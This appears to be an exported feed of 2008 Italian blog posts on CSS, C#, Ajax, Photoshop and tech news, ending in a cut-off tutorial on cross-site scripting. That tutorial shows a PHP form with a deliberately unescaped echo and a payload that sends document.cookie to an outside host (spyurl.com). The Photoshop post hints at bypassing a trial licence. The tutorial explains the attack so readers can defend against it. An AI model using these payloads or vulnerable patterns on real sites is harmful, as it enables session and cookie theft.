Safari.&lt;/blockquote&gt;&lt;br /&gt;Per esempio: se si vuole che il testo in Opera sia rosso potremmo scrivere:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;.opera div {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp;color:red;&lt;br /&gt;}&lt;/blockquote&gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-2735484177871497786?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/2735484177871497786/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/css-unalternativa-per-non-usare-gli.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2735484177871497786'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/2735484177871497786'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/css-unalternativa-per-non-usare-gli.html' title='CSS: Un&apos;alternativa per non usare gli hacks'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_o4CtEdXe-DM/SMZQFC2O48I/AAAAAAAAAJ8/CUZXbCPM3gg/s72-Rc/css2.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-8608620766947900648</id><published>2008-09-08T11:23:00.000+02:00</published><updated>2008-09-08T12:34:22.702+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Tools'/><category scheme='http://www.blogger.com/atom/ns#' term='Graphic'/><title type='text'>Raccolta di tools online per divertirvi con le vostre immagini: puzzle, posters, calendari, collage e molto altro</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;/div&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_o4CtEdXe-DM/SMT_lvkdVnI/AAAAAAAAAJs/2Q8F20R0N0w/s1600-h/bighouselab.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_o4CtEdXe-DM/SMT_lvkdVnI/AAAAAAAAAJs/ANi9EuHKe04/s200-R/bighouselab.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Spesso trovare plugin photoshop per questi scopi richiede tempo e molti di questi sono in versione valutativa. Ecco perchè voglio segnalarvi &lt;a href="http://bighugelabs.com/flickr/" target="_blank"&gt;Big Huge Labs&lt;/a&gt; una raccolta di tools online gratuiti che permettono di divertirvi con le vostre foto, creando effetti puzzle, posters, calendari, collage e molto altro.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Tutto è molto personalizzabile grazie all'utilizzo delle &lt;a href="http://www.flickr.com/services/api/" target="_blank"&gt;Flickr API&lt;/a&gt;. Il sito è in inglese ma i tools a disposizione sono facilmente utilizzabili e intuitivi.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Vorrei invitare chiunque ne conoscesse altri di segnalarli, grazie :)&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-8608620766947900648?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/8608620766947900648/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/raccolta-di-tools-online-per-divertirvi.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8608620766947900648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/8608620766947900648'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/raccolta-di-tools-online-per-divertirvi.html' title='Raccolta di tools online per divertirvi con le vostre immagini: puzzle, posters, calendari, collage e molto altro'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_o4CtEdXe-DM/SMT_lvkdVnI/AAAAAAAAAJs/ANi9EuHKe04/s72-Rc/bighouselab.jpg' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-3027761447939851080</id><published>2008-09-08T02:17:00.012+02:00</published><updated>2008-09-09T12:48:44.422+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='C-sharp'/><title type='text'>C#: Form con effetto Fadein e Fadeout</title><content type='html'>&lt;div style="text-align: left;"&gt;&lt;span&gt;Molti software utilizzano questo effetto, soprattutto nel loro avvio iniziale (loading screen). Ecco una classe per realizzarlo:&lt;/span&gt;&lt;/div&gt;&lt;code class="csharpcode"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;class&lt;/span&gt; WindowAnimator&lt;br /&gt;{&lt;br /&gt;Form window;&lt;br /&gt;&lt;span class="kwrd"&gt;float&lt;/span&gt; Step;&lt;br /&gt;Timer time;&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; WindowAnimator(Form FormToAnimate)&lt;br /&gt;{&lt;br /&gt;window = FormToAnimate;&lt;br /&gt;}&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; WindowFadeIn(&lt;span class="kwrd"&gt;int&lt;/span&gt; interval, &lt;span class="kwrd"&gt;float&lt;/span&gt; steps)&lt;br /&gt;{&lt;br /&gt;&lt;span class="rem"&gt;//Salva steps&lt;/span&gt;&lt;br /&gt;Step = steps;&lt;br /&gt;&lt;span class="rem"&gt;//Crea il Timer&lt;/span&gt;&lt;br /&gt;time = &lt;span class="kwrd"&gt;new&lt;/span&gt; Timer();&lt;br /&gt;time.Interval = interval;&lt;br /&gt;time.Tick += &lt;span class="kwrd"&gt;new&lt;/span&gt; EventHandler(Timer_TickIn);&lt;br /&gt;time.Start();&lt;br /&gt;}&lt;br /&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; Timer_TickIn(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;br /&gt;{&lt;br /&gt;&lt;span class="rem"&gt;//Controlla l'opacità del form&lt;/span&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt; (window.Opacity != 1.0)&lt;br /&gt;{&lt;br /&gt;&lt;span class="rem"&gt;//Se è inferiore di 1 incrementa l'opacità&lt;/span&gt;&lt;br /&gt;window.Opacity += Step;&lt;br /&gt;}&lt;br /&gt;&lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;&lt;span class="rem"&gt;//Finito, stoppa il timer.&lt;/span&gt;&lt;br /&gt;time.Stop();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;public&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; WindowFadeOut(&lt;span class="kwrd"&gt;int&lt;/span&gt; interval, &lt;span class="kwrd"&gt;float&lt;/span&gt; steps)&lt;br /&gt;{&lt;br /&gt;Step = steps;&lt;br /&gt;time = &lt;span class="kwrd"&gt;new&lt;/span&gt; Timer();&lt;br /&gt;time.Interval = interval;&lt;br /&gt;time.Tick += &lt;span class="kwrd"&gt;new&lt;/span&gt; EventHandler(Timer_TickOut);&lt;br /&gt;time.Start();&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;span class="kwrd"&gt;private&lt;/span&gt; &lt;span class="kwrd"&gt;void&lt;/span&gt; Timer_TickOut(&lt;span class="kwrd"&gt;object&lt;/span&gt; sender, EventArgs e)&lt;br /&gt;{&lt;br /&gt;&lt;span class="kwrd"&gt;if&lt;/span&gt; (window.Opacity != 0.1)&lt;br /&gt;{&lt;br /&gt;window.Opacity -= Step;&lt;br /&gt;}&lt;br /&gt;&lt;span class="kwrd"&gt;else&lt;/span&gt;&lt;br /&gt;{&lt;br /&gt;time.Stop();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;}&lt;/span&gt;&lt;/code&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-3027761447939851080?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/3027761447939851080/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/c-form-con-effetto-fadein-e-fadeout.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/3027761447939851080'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/3027761447939851080'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/c-form-con-effetto-fadein-e-fadeout.html' title='C#: Form con effetto Fadein e Fadeout'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-1108219811917271592</id><published>2008-09-07T22:41:00.000+02:00</published><updated>2008-09-08T00:20:29.265+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web Development'/><category scheme='http://www.blogger.com/atom/ns#' term='Ajax'/><title type='text'>Più di 450 script Ajax gratuiti per il vostro sito</title><content type='html'>&lt;div style="text-align: justify;"&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMRTDikMpZI/AAAAAAAAAJU/W-teZtzaYkE/s1600-h/ajaxrain.gif" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMRTDikMpZI/AAAAAAAAAJU/IgJ0SGsktpQ/s320-R/ajaxrain.gif" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;a href="http://www.ajaxrain.com/" target="_blank"&gt;Ajax Rain&lt;/a&gt;, ecco una libreria di più di 450 script Ajax da inserire nel vostro sito, come form di upload, tooltip, progress bar, grafici interattivi, menu contestuali e molto altro.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Gli script sono pubblici e molti utilizzano i già noti framework Ajax come &lt;span class="Apple-style-span" style="font-weight: bold;"&gt;&lt;a href="http://qooxdoo.org/" target="_blank"&gt;QooxDoo&lt;/a&gt;, &lt;a href="http://jquery.com/" target="_blank"&gt;JQuery&lt;/a&gt;, &lt;a href="http://developer.yahoo.com/yui/" target="_blank"&gt;YUI&lt;/a&gt;&lt;/span&gt;.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Come dice lo slogan, "&lt;span class="Apple-style-span" style="font-weight: bold;"&gt;Secret Behind your inspiration&lt;/span&gt;", Ajax Rain è un’ottima risorsa da cui prendere spunto e per mettere in moto la nostra fantasia.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-1108219811917271592?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/1108219811917271592/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/pi-di-450-script-ajax-gratuiti-per-il.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1108219811917271592'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1108219811917271592'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/pi-di-450-script-ajax-gratuiti-per-il.html' title='Più di 450 script Ajax gratuiti per il vostro sito'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://1.bp.blogspot.com/_o4CtEdXe-DM/SMRTDikMpZI/AAAAAAAAAJU/IgJ0SGsktpQ/s72-Rc/ajaxrain.gif' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-288964024029981087</id><published>2008-09-07T14:39:00.001+02:00</published><updated>2008-09-07T15:32:57.691+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Photoshop'/><category scheme='http://www.blogger.com/atom/ns#' term='Graphic'/><title type='text'>Photoshop: ridefinizione creativa di esposizione, colori, dettagli e rumori</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;object height="344" width="425"&gt;&lt;param name="movie" value="http://www.youtube.com/v/BlHXDRlEMPI&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/BlHXDRlEMPI&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Per gli amanti di Photoshop ecco Topaz Adjust, un plug-in fantastico per regolare esposizione, colori, dettagli e rumori di un'immagine.&amp;nbsp;Topaz utilizza algoritmi avanzati per raggiungere effetti straordinari in pochi secondi e il risultato finale è un'immagine HDR di tutta qualità.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Gli utenti Windows possono scaricare Topaz a &lt;a href="http://www.topazlabs.com/src/topazadjust_setup.zip"&gt;questo indirizzo&lt;/a&gt;, mentre &lt;a href="http://www.topazlabs.com/src/topazadjust.dmg"&gt;a questo&lt;/a&gt; gli utenti Mac.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Il plug-in "purtroppo" è in versione trial per 30 giorni, ma ovviamente siete liberi di pensare quello che sto pensando io :)&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-288964024029981087?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/288964024029981087/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/photoshop-ridefinizione-creativa-di.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/288964024029981087'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/288964024029981087'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/photoshop-ridefinizione-creativa-di.html' title='Photoshop: ridefinizione creativa di esposizione, colori, dettagli e rumori'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-1697103905733858107</id><published>2008-09-06T17:14:00.004+02:00</published><updated>2008-09-06T17:52:19.405+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><category scheme='http://www.blogger.com/atom/ns#' term='Firefox'/><title type='text'>Rilasciato Firefox 3.1 Alpha 2</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_o4CtEdXe-DM/SMKlXZZpoQI/AAAAAAAAAJE/3TXUBRFnhpo/s1600-h/595.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_o4CtEdXe-DM/SMKlXZZpoQI/AAAAAAAAAJE/38aWkrJZgG8/s320-R/595.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Mozilla ha rilasciato la seconda alpha di Firefox 3.1, nome in codice "Shiretoko."&lt;/div&gt;&lt;div style="text-align: justify;"&gt;La nuova release supporta gli elementi &amp;lt;video&amp;gt; per l'HTML 5 e la possibilità di fare "drag and drop" dei tabs tra le finestre del browser.&lt;/div&gt;&lt;video&gt;&lt;/video&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Computer World ha pubblicato &lt;a href="http://www.computerworld.com/action/article.do?command=viewArticleBasic&amp;amp;articleId=9114163" target="_blank"&gt;un articolo&lt;/a&gt; riguardo alcuni benchmarks i cui risultati dimostrano che Firefox 3.1 interpreta più velocemente&amp;nbsp;Javascript&amp;nbsp;rispetto a Chrome.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-1697103905733858107?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/1697103905733858107/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/rilasciato-firefox-31-alpha-2.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1697103905733858107'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1697103905733858107'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/rilasciato-firefox-31-alpha-2.html' title='Rilasciato Firefox 3.1 Alpha 2'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_o4CtEdXe-DM/SMKlXZZpoQI/AAAAAAAAAJE/38aWkrJZgG8/s72-Rc/595.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-3191484752405570647</id><published>2008-09-06T03:11:00.005+02:00</published><updated>2008-09-06T03:17:58.827+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Google'/><title type='text'>Goosh: una shell Unix-like per Google</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://2.bp.blogspot.com/_o4CtEdXe-DM/SMHZdZtR15I/AAAAAAAAAI4/e5HTQYV49DA/s1600-h/goosh.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://2.bp.blogspot.com/_o4CtEdXe-DM/SMHZdZtR15I/AAAAAAAAAI4/8mD8lQ1CpU8/s320-R/goosh.jpg" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Per i maniaci e amanti della riga di comando ecco: &lt;a href="http://www.goosh.org/" target="_blank"&gt;Goosh&lt;/a&gt; in stile *nix e dannatamente nerd. La shell è scritta in AJAX ed è un modo alternativo per eseguire ricerche su Google impartendo comandi da console come se si stesse lavorando su un qualche server Linux.&lt;/div&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Qualcuno è disposto a mettere Goosh per qualche giorno come homepage sul proprio browser?&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-3191484752405570647?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/3191484752405570647/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/goosh-una-shell-unix-like-per-google.html#comment-form' title='0 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/3191484752405570647'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/3191484752405570647'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/goosh-una-shell-unix-like-per-google.html' title='Goosh: una shell Unix-like per Google'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_o4CtEdXe-DM/SMHZdZtR15I/AAAAAAAAAI4/8mD8lQ1CpU8/s72-Rc/goosh.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-1574193271802603958</id><published>2008-09-06T00:39:00.003+02:00</published><updated>2008-09-06T01:32:03.885+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web News'/><category scheme='http://www.blogger.com/atom/ns#' term='Microsoft'/><title type='text'>Bill Gates e Jerry Seinfeld in una nuova campagna pubblicitaria Microsoft</title><content type='html'>&lt;div style='text-align: center'&gt;&lt;object width="425" height="344"&gt;&lt;param name="movie" value="http://www.youtube.com/v/uz6amk3P-hY&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;fs=1"&gt;&lt;/param&gt;&lt;param name="allowFullScreen" value="true"&gt;&lt;/param&gt;&lt;embed src="http://www.youtube.com/v/uz6amk3P-hY&amp;color1=0xb1b1b1&amp;color2=0xcfcfcf&amp;hl=en&amp;fs=1" type="application/x-shockwave-flash" allowfullscreen="true" width="425" height="344"&gt;&lt;/embed&gt;&lt;/object&gt;&lt;/div&gt;&lt;br /&gt;&lt;div style='text-align: justify'&gt;Con l'avanzata di Apple nelle quote di mercato nel settore enterprise, passando dall'1,2% al 4,5%, Microsoft è costretta ad avviare una nuova campagna pubblicitaria con uno sforzo di 300 milioni di dollari di cui 10 a Jerry Seinfeld (noto attore comico statunitense) che invita gli uenti a passare a Vista.&lt;br /&gt;&lt;span class='fullpost'&gt;&lt;br /&gt;Questo simpatico spot, dove si vede discutere Bill Gates e Jerry Seinfeld, è il primo di tanti altri spot anti-Apple, con l'obiettivo di dimostrare che Vista è molto più aperto e user-friendly all'utente.&lt;br /&gt;E’ buffo notare che sia Seinfeld che l’agenzia di comunicazione che sta progettando la campagna, fanno uso di computer Apple. Lo stesso Seinfeld ha detto che la campagna sarebbe un successo, se lo convincesse a passare a Vista.&lt;br /&gt;Staremo a vedere se tutto questo porterà i suoi frutti.&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3135078221907259985-1574193271802603958?l=devjoker.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://devjoker.blogspot.com/feeds/1574193271802603958/comments/default' title='Commenti sul post'/><link rel='replies' type='text/html' href='http://devjoker.blogspot.com/2008/09/bill-gates-e-jerry-seinfeld-in-una.html#comment-form' title='1 Commenti'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1574193271802603958'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3135078221907259985/posts/default/1574193271802603958'/><link rel='alternate' type='text/html' href='http://devjoker.blogspot.com/2008/09/bill-gates-e-jerry-seinfeld-in-una.html' title='Bill Gates e Jerry Seinfeld in una nuova campagna pubblicitaria Microsoft'/><author><name>Rocco Verrastro</name><uri>http://www.blogger.com/profile/14095545761949261274</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='http://1.bp.blogspot.com/_o4CtEdXe-DM/SLfr1ziEEJI/AAAAAAAAADA/2XUFGHW91M4/S220/IMAG0049-MSN.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3135078221907259985.post-2935081512948412026</id><published>2008-09-05T07:44:00.009+02:00</published><updated>2008-09-05T08:20:59.737+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='PHP'/><category scheme='http://www.blogger.com/atom/ns#' term='Javascript'/><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><title type='text'>Tecnica di scripting corss-site</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_o4CtEdXe-DM/SMDI5ZkLEXI/AAAAAAAAAIk/6XV7BsSuUME/s1600-h/xsswarning.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://3.bp.blogspot.com/_o4CtEdXe-DM/SMDI5ZkLEXI/AAAAAAAAAIk/0P74PI-rUtQ/s320-R/xsswarning.jpg" /&gt;&lt;/a&gt;&lt;div style="text-align: justify;"&gt;Mediante questa tecnica, un hacker potrebbe eseguire porzioni di codice in linguaggi di scripting lato-client, come Javascript, al fine di carpire cookie o altri dati sensibili.&lt;br /&gt;Il cross-site scripting non è affatto complesso da realizzare: basta inserire dati grezzi nell'HTML del sito. Per esempio, l'hacker potrebbe digitare:&lt;br /&gt;&lt;br /&gt;&lt;b&gt;&amp;lt;script language="javascript"&amp;gt;alert();&amp;lt;/script&amp;gt;&lt;/b&gt; in una casella di input che non genera tag HTML.&lt;br /&gt;&lt;span class="fullpost"&gt;&lt;br /&gt;Il seguente script illustra questa possibilità:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&amp;lt;html&amp;gt;&lt;br /&gt;&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;Devjoker: Esempio XSS&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;&lt;br /&gt;&amp;lt;body&amp;gt;&lt;br /&gt;&amp;lt;form&amp;gt;&lt;br /&gt;&amp;lt;input name='devjoker' value='&amp;lt;?php echo $_GET['devjoker']; ?&amp;gt;'&amp;gt;&lt;br /&gt;&amp;lt;/form&amp;gt;&lt;br /&gt;&amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/blockquote&gt;&lt;br /&gt;Si tratta di uno script molto immediato. Supponete che l'hacker digiti questa stringa nel capo del vostro modulo:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;'&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;alert(document.cookie);&amp;lt;/script&amp;gt;&amp;lt;a b='&lt;/blockquote&gt;&lt;br /&gt;Il codice JavaScript darebbe origine a questa finestra popup:&lt;br /&gt;&lt;br /&gt;&lt;a href="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMDMd35DTsI/AAAAAAAAAIs/nnG6QmFEA6o/s1600-h/cross.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" src="http://1.bp.blogspot.com/_o4CtEdXe-DM/SMDMd35DTsI/AAAAAAAAAIs/O-gmFUbPer4/s320-R/cross.jpg" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Naturalmente, non si tratta di niente di spaventoso. Tuttavia supponete che, invece di questo innocente popup, l'input sia:&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;'&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;script&amp;gt;document.location='http://spyurl.com/cgi-bin/cookie.cgi?f='+document.cookie&amp;lt;/script&amp;gt;&amp;lt;a b='&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;Quando l'utente è portato ad attivare questo URL, i contenuti del suo cookie verranno inviati a siteurl.com. Naturalmente è improbabile che l'utente faccia clic su un URL contenente 